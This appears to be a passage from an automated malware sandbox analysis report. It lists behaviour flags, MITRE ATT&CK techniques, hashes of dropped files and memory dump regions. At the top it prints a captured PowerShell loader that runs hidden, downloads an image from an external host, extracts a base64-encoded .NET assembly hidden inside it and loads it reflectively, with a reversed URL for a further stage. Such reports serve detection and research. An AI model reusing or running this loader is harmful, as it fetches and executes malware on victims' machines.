      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/622/019/original/rump_new.jpg?1695949870';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.wngfhar/may/tnetnoc-pw/zt.oc.letsohirafasobikodaroloc//:sptth' , 'bosta'))"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d1fb755692240814251746afec90f0fd

SHA1
24c74ad623e9df87168fd0188a592235b56b22d4

SHA256
0a0b83043e77e733c3d03fffde0b67810582abe7b6a5cbab59e5b3f28788fd2a

SHA512
0f6c43ee8ce43144134a996cc3d4eb83f58d49fd3b8ceb96b3c7d567017efb4d2412c6095d25c6277efa4baafcd48f5ffe9fda210f47f5415e4ba19390a4ed8a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ad32af22b1eac9f1861aa1ef75ff65f8

SHA1
2ecd800d52e44e0ea01c420c52a922081b08aee7

SHA256
edd5b748052a699fce5aff67c8b49a45d5b44df7854019114baeec6854ea3b97

SHA512
df8b17c258f77eca012afcb251a93968a23e1cba2f984ccf5a2fa8c268bad428832a53bd33131d70d6cd8e94b77129623ef8ffe505d7a5d30a391c412862ffc6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab7916.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7A32.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\dertxza.vbs

Filesize
299KB

MD5
0fca862b7e267e54d2388490fcc40f79

SHA1
5df8593c11f9c82459696acecd665924b9a5a8de

SHA256
32d735a759b94a5a2ceb5758894fce2697dd86181badcb705acce1916f87636b

SHA512
83f6277ae95f7b1d9af4cc031967b2721ea982e10fd3aae21159b66e648e210550db5a459bf2aa1df1b954b7bf447ba3748512aafb7ab7b38c60dc81cede19ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\dertxza.vbs

Filesize
299KB

MD5
0fca862b7e267e54d2388490fcc40f79

SHA1
5df8593c11f9c82459696acecd665924b9a5a8de

SHA256
32d735a759b94a5a2ceb5758894fce2697dd86181badcb705acce1916f87636b

SHA512
83f6277ae95f7b1d9af4cc031967b2721ea982e10fd3aae21159b66e648e210550db5a459bf2aa1df1b954b7bf447ba3748512aafb7ab7b38c60dc81cede19ff

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4WBUMN848NWSJ9UYH3KH.temp

Filesize
7KB

MD5
d39d5d14b3c7e853c8c3fe6b617d567f

SHA1
6f169ff46ca4e55f1514dd5768601be87893afd3

SHA256
2fdcc5b65b921c2b9d75c4daeaaefa47ac574a4f5e34379966fc18d6370b9230

SHA512
b055c53f16ac6db9787b6564fb9236e4757b11ecf0ab9489778774c9e586efd80894868fbbdcf09447d0e78a4fb10cbc065d1b51b3db24f8f2448b95c32092b8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d39d5d14b3c7e853c8c3fe6b617d567f

SHA1
6f169ff46ca4e55f1514dd5768601be87893afd3

SHA256
2fdcc5b65b921c2b9d75c4daeaaefa47ac574a4f5e34379966fc18d6370b9230

SHA512
b055c53f16ac6db9787b6564fb9236e4757b11ecf0ab9489778774c9e586efd80894868fbbdcf09447d0e78a4fb10cbc065d1b51b3db24f8f2448b95c32092b8

Download Submit
memory/2424-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/2424-36-0x000000007216D000-0x0000000072178000-memory.dmp

Filesize
44KB

Download
memory/2424-5549-0x000000007216D000-0x0000000072178000-memory.dmp

Filesize
44KB

Download
memory/2424-1-0x000000007216D000-0x0000000072178000-memory.dmp

Filesize
44KB

Download
memory/2536-30-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/2536-29-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/2536-96-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/2536-28-0x000000006BF10000-0x000000006C4BB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-41-0x000000006BF10000-0x000000006C4BB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-27-0x000000006BF10000-0x000000006C4BB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-52-0x0000000001B70000-0x0000000001BB0000-memory.dmp

Filesize
256KB

Download
memory/2896-108-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-128-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-39-0x000000006BF10000-0x000000006C4BB000-memory.dmp

Filesize
5.7MB

Download
memory/2896-97-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-98-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-100-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-102-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-104-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-106-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-38-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/2896-110-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-112-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-114-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-116-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-118-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-120-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-122-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-124-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-126-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-40-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/2896-131-0x000000006BF10000-0x000000006C4BB000-memory.dmp

Filesize
5.7MB

Download
memory/2896-130-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-133-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/2896-134-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-137-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/2896-135-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/2896-138-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-140-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-142-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-144-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-146-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-148-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-150-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-152-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-154-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-156-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-158-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-160-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-162-0x0000000008820000-0x0000000008B3A000-memory.dmp

Filesize
3.1MB

Download
memory/2896-37-0x000000006BF10000-0x000000006C4BB000-memory.dmp

Filesize
5.7MB

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